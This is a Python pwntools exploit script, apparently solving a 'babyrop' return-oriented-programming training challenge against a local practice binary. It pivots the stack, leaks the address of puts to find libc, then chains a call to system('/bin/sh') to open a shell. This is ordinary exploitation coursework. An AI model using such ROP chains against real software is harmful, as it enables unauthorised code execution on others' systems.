jc
50 lines
956 B
Python
50 lines
956 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
"""
|
|
patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_9_0
|
|
"""
|
|
|
|
context.binary = target = ELF("./babyrop_level_9_0", checksec=False)
|
|
libc = target.libc
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# gadgets
|
|
pop_rbp = 0x40129d
|
|
leave_ret = 0x4016ab
|
|
pop_rdi = 0x4027d3
|
|
|
|
# buf
|
|
buf = p64(pop_rbp)
|
|
buf += p64(0x4150e0+0x10)
|
|
buf += p64(leave_ret)
|
|
buf += p64(pop_rdi)
|
|
buf += p64(target.got.puts)
|
|
buf += p64(target.sym.puts)
|
|
buf += p64(target.sym._start)
|
|
s(buf)
|
|
|
|
# leak
|
|
r.recvuntil(b"Leaving!\n")
|
|
puts = u64(r.recv(6).ljust(8, b"\x00"))
|
|
log.info("puts: %#x", puts)
|
|
libc.address = puts - libc.sym.puts
|
|
log.info("libc: %#x", libc.address)
|
|
sh = next(libc.search(b"/bin/sh"))
|
|
system = libc.sym.system
|
|
|
|
# pop
|
|
buf = p64(pop_rbp)
|
|
buf += p64(0x4150e0+0x10)
|
|
buf += p64(leave_ret)
|
|
buf += p64(pop_rdi)
|
|
buf += p64(sh)
|
|
buf += p64(pop_rdi+1)
|
|
buf += p64(system)
|
|
s(buf)
|
|
|
|
r.interactive() |